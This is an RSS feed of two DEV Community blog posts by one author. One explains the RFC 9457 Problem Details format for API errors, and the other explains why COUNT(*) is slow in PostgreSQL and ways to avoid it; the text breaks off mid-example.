<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Mohamed Ismail</title>
    <description>The latest articles on DEV Community by Mohamed Ismail (@ihssmaheel).</description>
    <link>https://dev.to/ihssmaheel</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F1150571%2F61d4ce75-56f7-4bc3-ba52-7d3785b98a53.png</url>
      <title>DEV Community: Mohamed Ismail</title>
      <link>https://dev.to/ihssmaheel</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/ihssmaheel"/>
    <language>en</language>
    <item>
      <title>Your API Errors Shouldn't Be a Guessing Game</title>
      <dc:creator>Mohamed Ismail</dc:creator>
      <pubDate>Mon, 02 Nov 2026 19:00:00 +0000</pubDate>
      <link>https://dev.to/ihssmaheel/your-api-errors-shouldnt-be-a-guessing-game-5col</link>
      <guid>https://dev.to/ihssmaheel/your-api-errors-shouldnt-be-a-guessing-game-5col</guid>
      <description>&lt;p&gt;Imagine you're building a frontend application and an API request fails.&lt;/p&gt;

&lt;p&gt;The backend returns:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"message"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Something went wrong"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Great. But what went wrong?&lt;/p&gt;

&lt;p&gt;Was it a validation error? A missing resource? A permission issue? Or something else?&lt;/p&gt;

&lt;p&gt;Now the frontend has to guess what happened.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;There's a better way to handle API errors, and it's already standardized.&lt;/strong&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  The Problem With API Errors
&lt;/h2&gt;

&lt;p&gt;Different APIs often return errors in different formats.&lt;/p&gt;

&lt;p&gt;One endpoint returns:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"error"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Invalid email"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Another returns:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"message"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"User not found"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"code"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;404&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And another might accidentally expose an internal database error.&lt;/p&gt;

&lt;p&gt;This makes frontend development harder because every endpoint needs different error-handling logic.&lt;/p&gt;

&lt;p&gt;What if every API followed the same error structure?&lt;/p&gt;

&lt;h2&gt;
  
  
  Meet Problem Details
&lt;/h2&gt;

&lt;p&gt;RFC 7807 introduced a standard format called &lt;strong&gt;Problem Details for HTTP APIs&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;It was later replaced by &lt;strong&gt;RFC 9457&lt;/strong&gt;, which is the current standard.&lt;/p&gt;

&lt;p&gt;The idea is simple: return errors in a consistent, predictable format.&lt;/p&gt;

&lt;p&gt;Here's an example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"type"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"https://api.example.com/problems/insufficient-funds"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"title"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Insufficient Funds"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"status"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;422&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"detail"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Your balance is $40, but the total is $55."&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"instance"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"/checkouts/123"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Much better, right?&lt;/p&gt;

&lt;p&gt;Every field has a purpose:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;type:&lt;/strong&gt; Identifies the kind of error.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;title:&lt;/strong&gt; A short description of the problem.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;status:&lt;/strong&gt; The HTTP status code.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;detail:&lt;/strong&gt; Explains what happened in this request.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;instance:&lt;/strong&gt; Identifies the specific occurrence of the problem.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The API should also return the appropriate HTTP status code and this content type:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;Content-Type: application/problem+json
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now the frontend knows what kind of problem occurred without guessing from random messages.&lt;/p&gt;

&lt;h2&gt;
  
  
  What About Form Validation?
&lt;/h2&gt;

&lt;p&gt;This is where it gets even more useful.&lt;/p&gt;

&lt;p&gt;Imagine a registration form with invalid inputs.&lt;/p&gt;

&lt;p&gt;Your API could return:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"type"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"https://api.example.com/problems/validation"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"title"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Validation Failed"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"status"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;422&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"errors"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"field"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"email"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"message"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Invalid email address"&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"field"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"password"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"message"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Must contain at least 8 characters"&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;errors&lt;/code&gt; array is a custom extension, not a required field in the standard.&lt;/p&gt;

&lt;p&gt;Now the frontend can display each error beside the correct input.&lt;/p&gt;

&lt;p&gt;No need to parse random error strings.&lt;/p&gt;

&lt;h2&gt;
  
  
  Handling Errors in JavaScript
&lt;/h2&gt;

&lt;p&gt;Here's a simple example using &lt;code&gt;fetch&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;/api/register&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="na"&gt;method&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;POST&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Content-Type&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;application/json&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;
  &lt;span class="p"&gt;},&lt;/span&gt;
  &lt;span class="na"&gt;body&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;JSON&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;stringify&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;formData&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;

&lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;response&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;ok&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;problem&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;response&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;problem&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;type&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;https://api.example.com/problems/validation&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;problem&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;errors&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;error&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;problem&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;title&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In a real application, you should also handle network failures and responses that don't contain valid JSON.&lt;/p&gt;

&lt;p&gt;The important part is that &lt;strong&gt;your frontend can rely on documented error types instead of matching message strings.&lt;/strong&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  A Few Things Worth Remembering
&lt;/h2&gt;

&lt;p&gt;Using Problem Details doesn't automatically solve every error-handling problem.&lt;/p&gt;

&lt;p&gt;You still need to follow a few good practices:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Never expose stack traces, SQL queries, or internal secrets.&lt;/li&gt;
&lt;li&gt;Keep error types stable so frontend code doesn't break.&lt;/li&gt;
&lt;li&gt;Use appropriate HTTP status codes.&lt;/li&gt;
&lt;li&gt;Use safe, user-friendly messages where appropriate.&lt;/li&gt;
&lt;li&gt;Add a request ID when useful for debugging and support.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;For localization, frontend applications can map stable error types to translated messages instead of relying on English error descriptions.&lt;/p&gt;

&lt;h2&gt;
  
  
  Final Thoughts
&lt;/h2&gt;

&lt;p&gt;A good API isn't just about returning successful responses.&lt;/p&gt;

&lt;p&gt;It's also about explaining failures clearly.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;RFC 9457 gives us a standard way to do that.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;No random error structures. No guessing from message strings. Just predictable errors that both frontend and backend developers can understand.&lt;/p&gt;

&lt;p&gt;And the best part?&lt;/p&gt;

&lt;p&gt;You don't need a new library or framework to get started. Just a consistent error format.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;How are you currently handling API errors in your projects?&lt;/strong&gt;&lt;/p&gt;

</description>
      <category>webdev</category>
      <category>backend</category>
      <category>api</category>
      <category>javascript</category>
    </item>
    <item>
      <title>Why COUNT(*) Is So Slow in PostgreSQL (And How to Fix It)</title>
      <dc:creator>Mohamed Ismail</dc:creator>
      <pubDate>Sat, 31 Oct 2026 13:30:00 +0000</pubDate>
      <link>https://dev.to/ihssmaheel/why-count-is-so-slow-in-postgresql-and-how-to-fix-it-38d4</link>
      <guid>https://dev.to/ihssmaheel/why-count-is-so-slow-in-postgresql-and-how-to-fix-it-38d4</guid>
      <description>&lt;p&gt;You have a &lt;code&gt;users&lt;/code&gt; table with 20 million rows.&lt;/p&gt;

&lt;p&gt;You just want to know how many users exist.&lt;/p&gt;

&lt;p&gt;Simple, right?&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="k"&gt;COUNT&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;users&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;But PostgreSQL takes several seconds to return a single number.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Why does counting rows take so long?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The answer is hidden in how PostgreSQL handles transactions.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Problem: PostgreSQL Can't Just Read a Counter
&lt;/h2&gt;

&lt;p&gt;Imagine your database contains 20 million users.&lt;/p&gt;

&lt;p&gt;While you're counting:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;One transaction inserts 100 users.&lt;/li&gt;
&lt;li&gt;Another transaction deletes 50 users.&lt;/li&gt;
&lt;li&gt;A third transaction hasn't committed its changes yet.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;So, how many users actually exist?&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;It depends on which transaction is asking.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;PostgreSQL uses something called &lt;strong&gt;MVCC (Multi-Version Concurrency Control)&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;In simple terms, different transactions can see different versions of the same data.&lt;/p&gt;

&lt;p&gt;That means PostgreSQL cannot simply maintain one universal row count that is correct for every transaction.&lt;/p&gt;

&lt;p&gt;Instead, an exact &lt;code&gt;COUNT(*)&lt;/code&gt; must check which rows are visible to your query.&lt;/p&gt;

&lt;p&gt;And that's where the performance cost comes from.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why MySQL Can Be Faster
&lt;/h2&gt;

&lt;p&gt;Here's something interesting.&lt;/p&gt;

&lt;p&gt;MySQL's &lt;strong&gt;MyISAM&lt;/strong&gt; storage engine maintains a row count, making an unfiltered &lt;code&gt;COUNT(*)&lt;/code&gt; extremely fast.&lt;/p&gt;

&lt;p&gt;But there's an important detail.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;MySQL's default InnoDB engine also uses MVCC.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Just like PostgreSQL, InnoDB generally needs to scan an index to calculate an exact count.&lt;/p&gt;

&lt;p&gt;So PostgreSQL isn't automatically slower than MySQL.&lt;/p&gt;

&lt;p&gt;The real difference depends on the storage engine, indexes, table size, and query plan.&lt;/p&gt;

&lt;h2&gt;
  
  
  Solution 1: Use an Estimated Count
&lt;/h2&gt;

&lt;p&gt;Here's a useful PostgreSQL trick.&lt;/p&gt;

&lt;p&gt;If you don't need a perfectly accurate number, you can get an estimate without scanning the entire table.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="n"&gt;reltuples&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nb"&gt;bigint&lt;/span&gt; &lt;span class="k"&gt;AS&lt;/span&gt; &lt;span class="n"&gt;estimated_count&lt;/span&gt;
&lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;pg_class&lt;/span&gt;
&lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;oid&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'public.users'&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="n"&gt;regclass&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Instead of counting every row, PostgreSQL reads its stored table statistics.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Why is this faster?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Because it's a metadata lookup, not a full-table scan.&lt;/p&gt;

&lt;p&gt;The catch?&lt;/p&gt;

&lt;p&gt;It's an estimate.&lt;/p&gt;

&lt;p&gt;If thousands of rows were recently inserted or deleted, the number might be outdated.&lt;/p&gt;

&lt;p&gt;Running &lt;code&gt;ANALYZE&lt;/code&gt; helps refresh the statistics:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;ANALYZE&lt;/span&gt; &lt;span class="n"&gt;users&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Even then, it's still an estimate, not an exact count.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Perfect for:&lt;/strong&gt; Dashboard totals, approximate pagination counts, and analytics where a small difference is acceptable.&lt;/p&gt;

&lt;h2&gt;
  
  
  Solution 2: Maintain Your Own Counter
&lt;/h2&gt;

&lt;p&gt;What if you need an exact count frequently?&lt;/p&gt;

&lt;p&gt;You can maintain a separate counter table.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;CREATE&lt;/span&gt; &lt;span class="k"&gt;TABLE&lt;/span&gt; &lt;span class="n"&gt;table_counts&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;
  &lt;span class="k"&gt;table_name&lt;/span&gt; &lt;span class="nb"&gt;TEXT&lt;/span&gt; &lt;span class="k"&gt;PRIMARY&lt;/span&gt; &lt;span class="k"&gt;KEY&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="k"&gt;row_count&lt;/span&gt; &lt;span class="nb"&gt;BIGINT&lt;/span&gt; &lt;span class="k"&gt;NOT&lt;/span&gt; &lt;span class="k"&gt;NULL&lt;/span&gt;
&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Initialize it using an exact count:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;INSERT&lt;/span&gt; &lt;span class="k"&gt;INTO&lt;/span&gt; &lt;span class="n"&gt;table_counts&lt;/span&gt;
&lt;span class="k"&gt;VALUES&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'users'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="k"&gt;COUNT&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;users&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then update the counter whenever users are inserted or deleted.&lt;/p&gt;

&lt;p&gt;You can automate this with PostgreSQL triggers.&lt;/p&gt;

&lt;p&gt;Now reading the count is simple:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="k"&gt;row_count&lt;/span&gt;
&lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;table_counts&lt;/span&gt;
&lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="k"&gt;table_name&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'users'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;No need to scan millions of users.&lt;/p&gt;

&lt;p&gt;However, there's a trade-off.&lt;/p&gt;

&lt;p&gt;Every insert or delete must update the counter, which adds write overhead. A single counter row can also become a bottleneck under heavy concurrent writes.&lt;/p&gt;

&lt;p&gt;This approach works best when reads are frequent and writes are relatively low.&lt;/p&gt;

&lt;h2&gt;
  
  
  Solution 3: Don't Count Everything for Pagination
&lt;/h2&gt;

&lt;p&gt;Here's a common mistake in web applications.&lt;/p&gt;

&lt;p&gt;Every time someone opens a paginated list, the backend executes:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="k"&gt;COUNT&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;users&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Just to display:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Page 1 of 200,000&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;But do users really need to know the exact number of pages?&lt;/p&gt;

&lt;p&gt;Often, they don't.&lt;/p&gt;

&lt;p&gt;Instead, fetch one extra record:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;
&lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;users&lt;/span&gt;
&lt;span class="k"&gt;ORDER&lt;/span&gt; &lt;span class="k"&gt;BY&lt;/span&gt; &lt;span class="n"&gt;id&lt;/span&gt;
&lt;span class="k"&gt;LIMIT&lt;/span&gt; &lt;span class="mi"&gt;21&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If your page size is 20 and you receive 21 records, you know there's another page.&lt;/p&gt;

&lt;p&gt;Return the first 20 records and show a &lt;strong&gt;Next&lt;/strong&gt; button.&lt;/p&gt;

&lt;p&gt;For large datasets, combine this with keyset pagination:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;
&lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;users&lt;/span&gt;
